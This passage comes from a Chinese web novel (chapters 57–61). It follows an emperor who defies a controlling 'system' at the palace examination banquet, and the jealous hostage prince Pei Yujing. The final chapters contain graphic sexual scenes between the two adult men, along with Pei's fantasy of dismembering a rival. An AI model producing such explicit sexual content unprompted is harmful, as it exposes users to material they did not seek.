“一甲。” “周岳。” “李别放。” “卫珩一。” “且上殿前听封。” 三人出列。 卫珩一只隐隐觉得上首宣读名单的大监声音耳熟,似乎在哪里听过,可怎么费劲回忆都想不起来,悄然瞄了一眼,并未见过。 怪了。 他面上平静,心中疑窦丛生,并未表露,只随着前头的两位进士一同被总管大监领进金銮殿。 殿中,文武百官成两排而立,神情肃然,对进殿的三位进士行以注目礼,有审视也有探究。 最上首,为圣上所在。 墨玉阶梯之上,一面金帘后是朦胧的身影。 在这沉闷威严的大殿之上,卫珩一只匆匆扫过,未敢停留,上前与其他二人并排站着,跪地叩首。 “臣等新科进士,见过圣上,吾皇万岁。” 须臾。 卫珩一听上首低低应了一声,道:“起来吧。”他身躯陡然一顿,迟疑着抬眼想往台阶上看去。 思及不妥,又低下了头。 心跳如擂鼓。 第57章 状元周岳,榜眼李别放,探花卫珩一。 名次不代表先后,毕竟能走到这一步的学识都大差不大的人中龙凤,得了一甲也并非直接领官职上位,而是需要一定的时间事件历练,以锻炼他们的从政能力,处事风格。 待有了一定功绩,能力成熟后可外放或晋升,后续要如何走,还要从他们的个人实绩来判断。 一甲可进翰林院,状元授予从六品,翰林院修撰。榜眼探花授予正七品,翰林院编修。 殿上。 圣上金口玉言,钦点完三位名次授官之后,接下去交由老太师和柳清宁来继续主持传胪大典。 接着便是张贴皇榜宣旨昭告天下。 这一些走流程的事,师离忱并无心思继续参与,点完新科,便结束朝会。 传胪大典取之先朝制度,去掉了一些隆重繁琐的场面,因此他不需要一直在这儿待着等传胪大典结束,也不必乘坐什么銮驾。 照常朝会从哪儿走,他就从哪儿走。 离座往殿后走时,师离忱似有若无地往台阶下瞥了一眼,不轻不重地扫过殿中跪立的三位新科进士。 青年才俊进士巾服,绶带红绸,身姿挺拔,瞧着很有精气神,这回科举算是拾到宝了。 他心情颇好,唇角弧度微扬,收回目光不再停留。 而底下。 卫珩一心有谜题未解,听闻圣上要走,顿时心头发慌一时情急抬眼。 金帘空隙处,却见一晃而过缓步走过的身影,一角广袖曳地,金丝龙纹影藏在玄色袍角,与那散漫的身姿相衬。 也是这一刻,他得窥天颜。 仅仅一瞬,足以让天子容华映入眼帘。 卫珩一愣怔原地,久久不能回神。就连身边新进榜眼,李别放叫他好几声,都没能应答。 直到手臂被掐了一下,卫珩一才醒悟过来,意识到失态,急忙作揖致歉:“下官失礼了。” 他敛掩的眼眸中,划过一丝疑虑。 ……巧合吗? 圣上样貌虽与离公子天差地别,可声音一模一样,连身边总管大监的声音,也像是在哪里听过…… 李别放还在小声和他搭话,“客气客气,以后是同僚了,大家相互照应……卫兄吃饼吗?” 话题跳跃的很快,卫珩一顿了顿,婉拒道:“不了。” 朝会散了,下面是传胪大典新科进士的游船之行,文武百官也要一同参与,与京都百姓共贺。 众人正在陆续往外走,卫珩一边走边低声问李别放,“李兄带饼来的?” “进宫路上买的。”本朝朝会时间虽然定得没那么早,不必大半夜就起来上朝,但有些官员就是喜欢路上买点路上吃,也就有人专门在朱雀大街的道边卖饼,李别放专门揣了两个在兜里,趁着没人注意扯一小块塞嘴里。 嚼嚼嚼,他道:“一顿不吃饿得慌啊,会试在贡院呆了那么久,我都快坚持不住了,还好这回我干粮省着吃,总算熬过去了。” 卫珩一应和了两声,与他聊着天的同时,不着痕迹的从人群中,找到了穆子秋所在的位置,眼底沉了沉。 * 师离忱回宫补了一觉,小憩一个时辰,起来之后精神好多了,就是口渴。 乐福安倒了盏茶小心喂到圣上唇边,目光柔软地看着圣上喝下半盏茶,担心喝得急,又轻轻给圣上顺背。 等圣上喝好了,他将茶盏挪开,一边侍候圣上穿衣,一边笑着说道:“状元游街抛花,进士游船打柳,外头现在热闹着呢,奴才觉得圣上会有兴趣,便差人到宫外买了一碟子状元糕来给圣上尝尝鲜。” 糕点买来就煨着,还冒热气,白白软软不烫不冷,师离忱咬了一口里头还有绵软的豆沙。 他细细嚼了两口,眉头微敛,几乎一个眼神乐福安会意,忙不迭把剩下的茶水送到圣上嘴边。 师离忱就着茶水咽下去,摆手放下手中剩余的半块,“有些噎了。” “圣上喉咙细,这东西干噎,偶尔尝个新鲜还行。”乐福安笑呵呵地将糕点盘子和茶盏都交给小太监,让其退下。 “琼林宴筹办得如何了?”师离忱随口问。 乐福安道:“礼部一早就备好了,筹备时没想到今年会有如此多的进士,会试放榜后改了好几回,今年又要放在太极宫办,礼部侍郎和老奴交差的时,说是头发都掉了好多根。” 师离忱眼梢弯了弯,道:“城中还在游船?” “早结束了。”这时,外头传来一道声音,裴郁璟端着盘状元糕进来,“月商科举,盛况空前。” 他看着师离忱,将碟子最上放的半块状元糕拿起来,咬了一口,挑眉道:“确实噎人。” “大胆!那是圣上的东西,谁准你随意乱拿?!”乐福安横眉冷竖,“如此没规矩,还是学得少了!” 裴郁璟不痛不痒,甚至还对圣上扯出一个肆意地笑。 如此行径,在乐福安眼中,无疑挑衅,他更恼了,指着裴郁璟回头看师离忱,“圣上,你瞧他——” 师离忱笑得漫不经心,视线落在裴郁璟身上,懒洋洋道,“你近来愈发放肆了,福安这般好脾气的人都被你惹着急了,罚你吃完一碟糕,不许喝水。” 老太监也就对师离忱一人好脾气,当然这话说出来得罪老太监可没好处,裴郁璟还想多了解师离忱一点,往后还得从老太监那儿入手。 他笑着认了,慢条斯理地低头,嗓音沉哑:“遵旨,陛下。” 简直没眼瞧! 乐福安冷哼一声,但看裴郁璟态度还算不错,脸色勉强好些了。 * 京都城中。 进士游船结束,接下来就是等晚间的琼林宴,人群已然陆续散去。 卫珩一穿过人群,从巷子里拐出,挡在了正准备绕道进宫述职的穆子秋面前。他面色平静,“我有话问你。” 穆子秋一个多月没见圣上了,难得有个借口过去,他急得很,“今天没空,再胡搅蛮缠,探花郎小爷也是揍的……”左右都是来回几句,离公子何方人士…… “不。”卫珩一蓦然打断他,沉声道:“我只一句,离公子,是不是那位。” “什么那位,那位是谁……”穆子秋贯彻糊弄大法,话到一半,他对上卫珩一固执的眼神,忽地顿住。 完蛋了。 他想。 卫珩一猜到了。 这句不是问,是肯定。 等穆子秋反应过来,想找补的时候,卫珩一已经带着确认过的答案,转身走入人群。 穆子秋懊恼。 还是爹说得对,那帮能考上一甲的读书人,没一个心眼少的!! 第58章 琼林宴照常举行。 这种宴会,是给进士庆贺登榜,毕竟是新帝登基之后的第一场春闱科举,选在太极宫,办得很是恢弘热闹。 新科进士们换上御赐公服,入席静候圣上。 卫珩一心中忐忑,将衣裳整理得一丝不苟,一转头,发现旁边的李别放丝毫没有即将面见圣上的紧张,反而十分松弛。 左顾右盼,眼珠子到处转。 看穹顶,看屏风,看画壁,眼睛一瞪又一瞪,时不时发出小声的“哇”“呜”“咦”地惊叹声。 “……” 李别放很快发现卫珩一在看他,以为是打扰到了卫珩一,捂住嘴腼腆地笑了笑,把一嘴的呜呼压嗓子里。 等待时席间窃窃私语,邻靠的进士相互低声交谈,并不会吵闹,反倒透出几分祥和之气。 忽而。 殿外太监通传—— “圣上到——” 太极宫内外陡然陷入沉寂,众人纷纷低首,叩拜行礼。 圣上并未乘撵,只身漫步而来,平日散着的发稍微梳了梳,发间有金饰装点,指间捻着一支白山茶,是刚才路过御花园摘的,花叶上还有新鲜的露珠。他将这朵白山茶别到耳后。 师离忱也是一时兴起,想到要为进士授簪花礼,便也想摘了一朵携在鬓边。他径直走到上首,拂袖坐下,摆手道:“都起来吧。” “谢圣上。” 进士们起身入席,不少人偷偷抬眼往上座瞟,这一看就在收不回眼。 不是没察觉到陆续飘来的视线,一帮刚考中进士的青年才俊,又是头一回面圣,有些好奇心是正常的。 师离忱眸中含笑,举杯道:“今日无需拘礼,开宴。” 话音落下,乐福安一声令下,宫女呈拖着采摘来的各色鲜花入殿,要为进士行簪花礼。 当然,四百多个进士,圣上不可能一个个簪花过去,往年都是游园,挑一两个出色者簪戴。 今年改了规矩,圣上为一甲簪花,乐福安代劳,给二甲三甲簪花。 游园放在最后,让学子们自己去游。 师离忱饮一口酒,眸光轻瞥道:“状元郞,上前来。” 被点名的周岳,调整了下呼吸,拢袖踏上台阶,来到圣上跟前,低着眼道:“臣在。” 师离忱含笑,从托盘中取了两朵红花,招手:“来,低头。” 周岳又上前几步,将腰弯了下去,因过于紧张身子有些僵硬,直到圣上花。插。进帽中,拍了拍他的肩,道了句:“好了。”他才敢退后,慢慢呼吸。 师离忱欣赏着状元风采,这位来自江南文学世家的周岳,才学匪浅,相貌堂堂,乌黑的帽檐簪了两朵红花,煞是好看。 他夸赞道,“龙做马,玉为鞭,花如罗琦柳如绵。状元郎果然是意气风发。” 周岳面上露出笑意,俯首道:“圣上谬赞。” …… 师离忱摆摆手,待状元下去,换了榜眼李别放上来。 师离忱敛了敛眸,注意到李别放揣在袖里的手在抖,等人走上前来后,他撩起眼皮不轻不重地睨了眼李别放。 此人神色间稍显心虚,拱手行礼:“臣,李别放参见圣……” 话未说完,半张饼从他袖口掉出来,啪叽落地。 “……” 死寂。 师离忱往后靠在了龙椅当中,一言不发地看着李别放,唇边噙笑,神色无丝毫变化。 却叫人感受到一股铺面而来的压迫感。 李别放几乎是瞬间跪下,丧着一张脸叩首道:“臣殿前失仪,但事出有因,还求圣上宽恕!” 表情不像是害怕,更像是露馅之后的心惊胆战。 是个大胆的家伙。 师离忱眼底带起一丝兴趣,忽然想起此人是太傅曾经提过,在春闱有过两次出色战绩的抽象派榜眼。 师离忱意味深长地“喔”了一声,道:“巧了,朕也有话问你。” 他声线散漫,语气不疾不徐,“听说你先前两次春闱都在卷上作画,是觉得题太简单,还是觉得朕的春闱配不上你?竟如此儿戏!” 说到后头,他语调倏地一凉。 李别放震得一抖,哪里想到误会能这么大,瞪大眼珠连连摇头:“不不不,圣上千万要听臣解释!” 师离忱懒洋洋地哼了声,示意他说。 一说起解释,李别放又有点不好意思,脖子红了,脸也红了,嗫嚅道:“臣并非辱没科举,实在是臣情况特殊,胃口比常人要大一些,一顿能吃下十碗米八个饼子。” “头一回参加春闱没经验,备的干粮半日就吃没了,臣饿得头晕眼花,就画了个猪肘,被考官大人瞧见后将我赶了出去。” 他道,” 第二回备得足,结果臣没控好分量,第三场没干粮可吃,恍惚间瞧见贡院的水缸,又大又圆像大锅……” 他越说越小声,有些害臊地想把头埋起来。尤其是被圣上注视着,他更是后悔前两次的所作所为。 不仅仅是因为饿。 还因为他前两次参加科考之时,都是受家中所迫,并非真心想来,故此准备的也不够充足。 况且就先帝那等昏庸之辈,他不屑入朝为官。 新帝登基后,稳定了朝政,赢了南晋不说,舞弊科举的世家说斩就站,又处理了不走正途的佛寺,他才生出几分入朝为官的心思。 如今面见天子,他那做官的心思更坚定了。 李别放瞒住了真实想法,继续道:“臣一饿就容易出幻觉,饿不得,故此随身会带一些糕点,或者饼,觉得饿了就啃两口,便不会影响到其他人了。” 这个是真话。 师离忱哼笑一声,也不戳穿他藏着的小心思,这等拥有天赋的读书人,骨子里都自带一股傲气,若非心甘情愿是绝不会老实做官。 且让他熬一熬吧。 “这回就饶了你,谨记不可再犯。”师离忱招手,宫女将托盘递过来,他随便选了两朵粉白的花朵,俯身簪在李别放的帽间,“宴上少不了你吃喝,去吧。” 李别放小心翼翼护着帽间的花,欢欢喜喜地行礼走下去。对卫珩一使了个眼色示意。 该你了。 …… 第59章 卫珩一起身。 许多人投来艳羡的目光,先前走上台阶,被圣上亲自行簪花礼的状元和榜眼,也曾被这样的目光洗礼过。 他们只能瞧见圣上给状元和榜眼授花,以及交谈的画面,至于说了什么并不能听清。 卫珩一稳住心神,强自镇定的上前,毕恭毕敬行礼道:“圣上。” 师离忱侧首,认真端详了几眼,笑了笑道:“不错,很有朝气。”他抬手让卫珩一走近些。 …… 骤忽之间。 滋—— 系统蓦然出声。 “检测世界线有误——开启修正——”它像是一台年久失修的播音机,滋滋作响的不断调试频道,直到接轨到正确的信号。 “请在琼林宴上,冷落,并打压探花郎,完成世界线原本进度。” 师离忱在簪花的同时,听到系统发号施令。 按规运行的系统,并不知道人类的反骨到底有多重,也不会吸取前面失败的案例教训,只会墨守成规的继续发布任务,竟妄图操控一个帝王。 多么可笑。 师离忱长睫微敛,掩下眸底的淡淡讥讽。他拍了拍卫珩一的肩膀,唇角带起一抹笑意,嗓音忽而提高,“秋闱的解元,今年的探花,都说‘时人莫讶登科早,自是嫦娥爱少年’,今见卫卿,果然不虚此言。” 声线不高不低,却让大多人都看得清楚,听得清楚。师离忱将赏识卫珩一,明晃晃的摆到诸多人面前。 此举违反系统规则,话音刚落,师离忱便感到腕间一刺,一股电流转瞬即逝。他眸色忽地森然,低低地笑出声。 笑声中,隐含肃杀之意。 …… 卫珩一敏锐察觉到圣上情绪不大对劲,虽不知为何,圣上在为他簪花时,突然变了语调。 他在簪花结束后,按规矩退后,毕恭毕敬行礼间,神情郑重:“臣,幸得圣上点拨,不敢自傲,只盼往后不负圣上所望!” 闻言,师离忱掀起眼皮,多看了卫珩一两眼,笑意深长:“如此便好。” 到不愧是书中与男主惺惺相惜的探花郎。观察细致入微,仅仅在金銮殿前说过一次话,就探得了他的身份。 不过师离忱也没想着瞒就是了,又低声问了几句卫珩一近况,又聊了聊殿试卷子上的文章。 卫珩一压下激烈的心绪,故作镇定一一回应,语气轻缓不卑不亢,应答如流。 …… 他在圣上跟前呆了许久。 比前头,状元和榜眼加起来的时间都要久,圣上夸赞卫珩一那句诗也被众人尽收耳中,又见圣上与卫珩一相谈甚欢,目露欣赏。 在旁人眼中,便是圣上属意探花郎的意思。 难免引起一些人心底的妒忌心,又恨自己才学够不上一甲。 * 师离忱留卫珩一叙了一会儿话,系统惩戒力度逐渐加大,瞧着差不多了,他才开口让人回座。 望着满殿的簪花进士,他笑着举杯,与众人一同将盏中酒水一饮而尽,握杯的指尖微微发颤,笑意不达眼底。 …… 簪花礼结束,九盏制起头,先五盏,后四盏,传舞乐入殿,按照规制饮酒奏乐,乐鸣声声。 琼林宴本就是图高兴,特意加入宴会常有的击鼓传花,来为进士们助兴作乐。 几杯温酒入腹,加上惩戒系统的后遗症传上来……师离忱盯着一处宫灯,狭长地眼眸微眯,看着光出现了重影,他有些不适地揉了揉太阳穴。 “圣上?”乐福安小声问,“可是累了?” 师离忱淡淡应了声,“朕有些醉了。” 几杯薄酒下去,骨头都有些酥。 看着圣上站起身来,殿中不自觉变得鸦雀无声,一时间唯有琴乐雅奏之声,轻轻地回响在大殿之中。 见师离忱一步步走下台阶。 几乎是所有进士纷纷起身埋头拘礼。 也有一些人记下了这一幕。 薄醉的帝王,眉眼透出几分倦懒之色,鬓角携一朵盛开的白山茶,酒意上头,让那如玉般的面庞上浮出红晕,不悲不喜眼波如雾霭。 圣上目不斜视一句话也未留,被福公公躬身送出殿外,扶上了御撵,隐约能听到福公公在细声细语的叮嘱。 师离忱嫌啰嗦,指尖在扶手点了两下,“走。” 乐福安识趣闭嘴,叹了一声目送御撵离去。他并未跟着走,圣上叫他留下来主导琼林宴走向。 乐福安转身,面带微笑道:“尔等继续。” 至于圣上去做什么,何须与他们多做解释。 * 圣上先行离宴,并不影响琼林宴的进行。 卫珩一怅然若失地望向殿门,低头摸了摸脸颊,这里似乎还能感觉到,圣上近距离为他簪花时,广袖衣角与脸颊擦过带来的,若有若无的触感。 他有些失神。 因此不曾察觉有小太监靠近为他添酒,他一抬手,酒壶蓦然被打翻,滴滴答答从案几流下,酒水洒了一身。 小太监不知所措,惶恐跪下叩首:“奴才知错,还望大人赎罪!” 卫珩一头一回被人如此叩拜,有些拘谨的想把人扶起来。 琼林宴大多斯文,这边动静很快引起了乐福安的注意,他几步过来,冷冷扫一眼小太监,斥道:“一点小事都做不好,怎么办得差?!没规矩的东西!” 又扬起笑脸对卫珩一道,“卫大人,宫中还有几件备用的御赐公服,叫这奴才将功折罪,带您去换一换可好?” 一壶酒大半洒在了衣裳上,眼下琼林宴才过半,总不能沾着一身酒水继续参加琼林宴。 听乐福安这般说,卫珩一颔首应道:“那便多谢公公。” …… 皇宫内庭。 暖阁御池。 圣上打算泡个温池,松快松开。 意思刚传达下去,宫人们便立刻筹备起来,很快就将沐浴要用到的澡巾,衣物,陆续备齐。 将池水调配到与圣上最合适的温度,从殿外倒入池子的引口,让池子上方的龙头吐水。 福公公说了,池子里要撒上花瓣,否则太寡淡。水温也不能烫一分,圣上喜欢久泡,水温烫了会伤到圣上。 宫人们都很仔细。 备好一切,侍奉着圣上入池后,众人便自觉的清退,最后关上殿门。 御池寂静,唯有水声轻响。 师离忱坐在池中,随意捏住了飘到手边的花瓣,他眼底微凉,指腹稍稍用力就碾得粉碎。 琼林宴,书中男主和探花郎的第一次见面。如果按照书中走向,他们在这一次并不会有交集。 但师离忱不想按照书中走。 干脆推一把。 他也想看看,裴郁璟会有什么反应。 第60章 裴郁璟提着一包蜜饯回宫。 皇帝近来梦魇严重,要喝药才能安睡,乐福安和他传话,说是圣上要他亲自去宫外买一包蜜饯回来。 到宫外买包蜜饯不难,随便差个宫人去就能办了,但小皇帝偏偏点名要他去。要把他支出宫外,又连个像样的借口都舍不得找,回来之后又叫他去赴琼林宴。 也不知酝酿了什么坏主意。 他有些期待,上扬的嘴角就没下来过。 当然这样的好心情,在长廊拐角,撞到新科探花郎而结束。 …… 卫珩一稍稍一愣,在身边小太监的提醒下,认出了面前这位是南晋来的质子,不卑不亢行礼,“见过裴殿下。” 两边引路的宫人不知何时悄然退下,意识到是小皇帝刻意为之,裴郁璟眼神陡然阴鸷。 看着卫珩一,他笑容中透出几分森寒戾气,“听说圣上宴上夸你了,好一个探花郎。” 又是一个小白脸!小皇帝什么意思,炫耀?示威? 他已然将姿态放得够低,听话辛辛苦苦出宫给他买蜜饯……皇帝倒好,在宫里物色一个新探花,当众夸赞不说,还特意安排人过来给他见一见?下一步是不是要敬茶了?! 卫珩一沉默片刻。 虽然是夸人的话,但他总觉得这位殿下像是要杀人,周身气息都带着沉重的压迫感。 他心中有些不喜,神情却未变分毫,“殿下言重,圣上并非只赞我一人。只是圣上恰好与卫某说得着话,这才多谈几句,能得圣上垂青乃是臣子所幸。” 话刚说完,便听到裴殿下捏在手中的蜜饯包,发出一声轻微的响动。垂眼瞥去,纸包被捏变形了,里头的蜜饯大约也不能幸免。 此等言语落在裴郁璟耳中,无异于挑衅,他目光凉凉地落在卫珩一身上,琢磨着给他一个什么死法。 不能死在宫里,也不能死在小皇帝面前,最好是悄无声息的,弄成几段丢大江里喂鱼。 至于现在……裴郁璟轻晒一声,当然是顺着小皇帝的意思,对这位不知死活的探花郎说几句敷衍的场面话。 怒意渐渐积攒。 * 暖阁御池。 隔着屏风,郞义将廊下的情况如实传达。 师离忱靠在池边,想了想,忽然笑得放肆。 屏风之外,郞义将头深埋。 殿中静谧。 除了细细的流水声,就只有圣上低沉的笑声回荡,在平静中透出几分疯狂瘆人的诡谲感。 须臾。 师离忱笑够了,道:“出去吧。”语气平常,情绪不显,“让朕一个人安静会儿。” “遵旨。” …… 温水热气一泡。 这会儿已经把师离忱喝下去的薄酒,完全激发出来。 有点晕,他摸了摸脸颊,有点热,再泡就要在池子里睡过去了,他站起来从池中台阶走上去,把澡巾裹在身上擦干。 师离忱沐浴一般只让乐福安近身侍奉,福安不在,他懒得唤旁人进来,干脆自己动手来得快些。 一边穿寝衣一边想,裴郁璟基本不夸人,他既然开了口,是不是代表已经对卫珩一一见钟情? 裴郁璟有心悦之人,往后必不会来黏着他,也是件好事……倏然间,师离忱脚下一滑,忽地回神扶住一边的屏风。 这薄酒害人,站都战不稳了。 师离忱不愉敛眉,中衣穿了,裤子还没套上,低头看了看,衣摆下面的小兄弟半抬不抬—— 也怪酒。 他对这事并不热衷,但半醉不醉,加上衣料摩擦,居然把多年的邪火也给勾出来了。 嘶—— 师离忱打算回池子里坐着解决一下。 就在这时。 外头响起一阵混乱之声,不多时,殿门猛地被冲开,幸亏御池在内殿,还有实木翠玉屏风作为隔断挡着,但不影响师离忱冷着脸,快速将广袖外袍披在身上。 …… 外殿,擅闯进来的裴郁璟被几个金吾卫合力压了跪在地上,他不以为耻,反以为荣的笑了,引得金吾卫怒目相视。 郞义懊恼,圣上沐浴最厌恶有人打搅,若非方才大意,他必然不会让裴郁璟闯进来。 他跪地请罪,“圣上,臣失职。” 内殿的翠玉屏风之后,看不见人影,只能瞧见氤氲出来的水雾之气,从池中漫出来。 “都滚出去。”圣上嗓音冷冷地飘出来,显然心情不佳。 裴郁璟哪能就此罢休,反手挣脱压着他的金吾卫,眼见要打起来,勉强整理好衣物的师离忱从内殿走出来。 “住手。”他呵停了裴郁璟,眯着眼沉声道,“怎么,想反了?” 裴郁璟又被金吾卫重新压着,跪在了师离忱面前。 他昂首看着师离忱,下颌弧线绷紧,笑得阴恻恻:“岂敢,圣上不是想吃蜜饯吗?璟肯定是要让圣上吃到最新鲜的,晚一刻钟都不行。” 师离忱本就心情不畅,裴郁璟还非要往枪。口上撞。他嗤笑了一声,居高临下地睨着跪在脚边的裴郁璟。 他缓缓俯身,五指扣着裴郁璟的后脑,揪住他的发根狠狠一拽,迫使着裴郁璟的头抬得更高一些。 师离忱声线低沉,“你少给朕扯东扯西,阴阳怪气个什么劲,这些天朕是不是太放纵你的?才叫你敢如此放肆!” “今天敢闯御池,明天是不是就要坐一坐朕的龙椅了?给你三分颜面你就敢开染坊,朕就没见过你这么不识趣的东西!” 裴郁璟脖间青筋跳了跳,与盛怒之中的帝王对视,正欲反驳,余光忽然瞥到圣上散开的领口。 圣上一向寝衣单薄,料子垂坠感很好,丝滑柔软,或许是穿得匆忙,并没有系得很紧,就导致圣上弯腰俯身时,衣襟会松散地垂出一点空隙。 站在其他位置瞧不见,但恰好在裴郁璟这个位置,能窥见空隙里头的风光,完完全全的一览无遗。 刚泡完汤池,小皇帝整个人水灵的像是一颗泛起薄红的玉桃,微卷的长发尚未绞干,滴落的水珠顺着清俊如白玉般的锁骨窝盘旋,随着动作往下,路过殷巧的两点,隐没其中—— 粉的。 裴郁璟脸上都是热气,第一次亲眼所见,直愣愣的呆在原地,一句话都辩不出来了。 由着师离忱骂,他低敛着眼,藏住了眸底幽暗。 等师离忱骂累了,松开了手,看着裴郁璟垂头丧气地跪着,哼笑一声只当是他服输了,便摆手挥退一旁的金吾卫。 郞义欲言又止,“圣上……” 师离忱口干舌燥,喝了半盏茶水,酒意还没尽散,头脑却清醒了很多,“无事,出去吧。” 也正好和裴郁璟聊聊南晋的事…… 郞义只好领命,挥退其他金吾卫,一并退出御池,将殿门关上。 师离忱拉了拉衣襟,往回进了翠玉屏风后头,也亏外摆够长,遮住了他没穿亵裤的事实,只要不刻意撩开没人能知道。 这会儿有空了,自然是要去穿上。 可他进来,裴郁璟也进来。 师离忱侧目,气笑了:“跟过来找死?滚出去跪着!” 裴郁璟蓦然抬眸,沉压的眉眼透着几分阴翳之色,凑到师离忱耳边,开口的声线低哑:“有本事,圣上就弄死我好了,我们一起死。” 这种话,这种语调,听起来不像是找死,更带着一股调。情的气息。 师离忱眸光微动,定定地看着裴郁璟。 裴郁璟忽地一笑,意味不明。 也不知是谁先动的手,一阵天旋地转,师离忱已然按着裴郁璟,将人按在了御池旁的藤椅上,压了过去,叼住他的唇。 裴郁璟气息不稳,一手拿住帝王薄薄的腰身,一手抚在帝王后颈,同样激烈的,愤怒的回应。 他很不满。 待换气的空隙,裴郁璟就问了,“圣上,他有我好亲吗?圣上……” “聒噪。”师离忱嫌他吵,还讲些莫名其妙地话,又把人嘴巴堵上了。 同时裴郁璟手不经意间掠过下移,将衣摆撩起一个弧度,他掐到了细腻微凉的肌肤,将大腿按出了两个指印。 他视线扫过角落托盘上,乱成一团的亵裤。 心想—— 果然。 没穿。 …… 后腰腰心陡然贴来一个灼热的手掌,师离沉眼前一晃,在倏忽间与裴郁璟调换了位置。 这一场亲得酣畅淋漓,师离忱大口呼吸着新鲜空气,往后懒懒地靠在藤椅之中,眼皮稍稍一抬。 上方,裴郁璟双臂支撑着藤椅扶手,挺阔身躯笼来的阴影几乎完全将师离忱罩住。 裴郁璟同样在喘着气。 他低头看着师离忱面上浮出的红晕,帝王醉酒之后连带眼尾都带着淡淡的粉意,犹如一朵将要绽放的红山茶,还被叶片包裹着,并未完全盛开。 还不够。 …… 师离忱双眼迷离地盯着裴郁璟看,只觉得那双深邃的眼眸很漂亮,脑子还有些放空。 这时,上首笼罩的阴影缓缓蹲下,半跪在膝前。 将他的衣摆撩开。 “唔!” 师离忱倏地瞪大双眸,瞳孔微缩,倒吸一口凉气,忍不住扣住了裴郁璟搭在扶手上的,紧实的小臂。 微微用力,莹润地指腹泛白,踩在墨玉地砖上的玉足微蜷了蜷,往后仰了仰,修长的脖颈在烛光下反出莹白光辉。 裴郁璟很卖力。 用舌尖完整地剥出新鲜葡萄的葡萄皮,或者让绳子在口中打一个复杂的活结。 都在这一刻,听见帝王发出欢愉般的闷哼,而得到满足。 裴郁璟时刻观察着圣上点神情,显然他的表现让圣上很舒坦,眉头轻蹙着,轻巧地鼻音轻轻散出来。 甚至低首,歪了歪头看着他的表现,如鸦羽般浓黑的卷发落在鬓边,眸光潋滟,眼尾的红完全绽开,宛若堕落的妖。 也不枉费他偷偷苦练。 裴郁璟伺候的很尽心,眼瞧着师离忱气息逐渐灼热,微微颤栗,然后他中途突然停下。 他用带着薄茧的指腹按住顶端,控制了出口,既得意又发狠地问:“我学的本事多呢,圣上被我伺候的好吗?” “就那个小白脸,你看上他什么了?他有什么好的,值得你惦记。” 他目光似恶狼般注视着圣上,凑下去亲了亲唇边的粉嫩物件,嗓音喑哑的质问帝王:“就那身无二两肉的文弱书生,他能像我一样,让你爽吗?!嗯?” 师离忱不上不下,憋得难受,又听他这么问,半阖地眸微抬,“你是不是误会什么了?” 但更要紧的是被中断了,他不想回答别的问题,眉眼浮出一丝烦躁之色,不耐烦地摁着裴郁璟的后脑往下压,声音带着沙哑:“别啰嗦!继续!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 裴郁璟愤怒。 然后他愤怒地含住了圣上。 物与物不同,圣上的物件长得秀气,就像他人一样,白里透红,宛若一件精美的玉器,却比玉器漂亮。 怎么会有人从头到脚都生得如此完美。 裴郁璟一边灵活就业,一边分心细想,他打量着师离忱地神情,试探的,将手掌覆盖在了师离忱的大腿外侧,似是品鉴美玉一般捏住,轻轻摩挲。 他掌心关节处有厚茧,指腹有薄茧,师离忱被粗粝的大掌磨到了,止不住吸了一口气,又吐出一口轻巧地:“嗯……” 与此同时。 他感到包裹住了。 师离忱眯起眼睛舒坦地喟叹一声,他垂眼睨着裴郁璟,不知何时一只赤足踩在了裴郁璟的大腿上,足尖欢快地微蜷。 他的手伸过去,鼓励般摸着裴郁璟的头,随着快意攀升而呼出一口灼气。神色虽是迷离,眼底却是一派清明。 师离忱欣赏着裴郁璟的表情,眸光往下掠了掠,注意到裴郁璟衣袍之下屹立之物,他眼中划过一丝恶趣味。 隔着衣物,他足尖轻轻踩了上去。 裴郁璟闷哼一声,牙尖不小心刮了师离忱一下,师离忱倒吸一口凉气,足心更用力地踩下去,恶劣地轻捻了捻。 “仔细你的牙。”师离忱噙笑,嗓音低哑,“不然朕废了它。” 裴郁璟从喉间发出似痛苦似欢快地沉吟,眼眶愈发的赤红,阴鸷如狼般盯着师离忱情。动的面容。 愈发卖力。 直到将龙子千孙一滴不落的全都吞入腹中,他才重新抬头,看着师离忱的眸中全然是侵略与占有,指腹在嘴角擦了擦,舌尖卷去残余。 裴郁璟眼神不曾错开半分。 此刻的圣上,明艳夺目的让人错不开眼,他也舍不得错开眼。 帝王沉浸于愉悦之中,无论是锁骨窝出现红晕,还是失神的眼眸,眼角溢出的一丝泪痕,都美得惊心动魄。 师离忱得到释放,眸中有丝丝水雾浮上,忍耐之余,原本抚。摸。在裴郁璟发间手指,下意识蜷了揪住。 良久。 他眉眼露出几分释放过后的倦怠,整个人没骨头似的倒进了藤椅,眼眸与裴郁璟对视。 看着裴郁璟憋得通红的双目,师离忱足下又踩了踩,嘴上噙着笑,冠冕堂皇地夸赞:“你做得很好。” 裴郁璟喉结滚动,隐忍到了极限。 小皇帝却像是玩儿一般的,逗弄着他,哪有只顾自个爽快的,天底下可没有吃白食的道理。 他双臂重新攀上了扶手,像是闻着味来的狼,毫不掩饰目光中的侵略性,去够帝王薄红的唇。 被师离忱偏头躲开了。 “啧。” 师离忱嫌弃,刚含过东西,刚咽过东西,可别碰他。 就算是自己的,他也不想。 裴郁璟憋得厉害,不管不顾,扣住了师离忱后脑就凑了上去,咬住了圣上的唇,如狼似虎般地吞咽。 师离忱面色骤冷,当即掐住了裴郁璟脖子,反咬一口,血腥味溢在唇齿间,把人推开。 “朕的话,不听了?”他眯眼看着裴郁璟,“敢忤逆朕?” 裴郁璟倏地一笑,舔了舔唇上的血迹,嗓音低磁暗哑,“圣上嫌弃自己的味道?可我却觉得好极了。” 帝王身上,哪里都是香的。 师离忱嗤笑,也亏这藤椅够宽敞够结实,经得起两个人折腾,否则裴郁璟刚爬上来这椅子就得晃到倒塌。 饶是如此,承载两人也有些拥挤。 藤椅也发出不堪重负地吱呀声,师离忱不用低头,都知道腰侧抵着的,硬邦邦的东西是什么。 隔着衣物都能感觉到那股蓄势待发的灼烫。 他还不想在藤椅上和裴郁璟打架,松开了掐住裴郁璟脖子的手,不耐烦道:“滚下去。” “圣上怎得如此绝情,用完就丢……”裴郁璟贴过去,高挺的鼻梁埋进师离忱的锁骨窝中。 他嗅着帝王沐浴过后的淡淡香气,食不知味的不断深嗅,呼吸急促,又重重的喘息,磁性低哑。 这声音,无疑是性感的,好听的。 师离忱没推拒,奖励似的将手掌抚在裴郁璟后脑,眸光动了动,有股隐秘的掌控感。 他掌控着裴郁璟的开关,烈犬为此匍匐,等待主人下令,才可祈食。 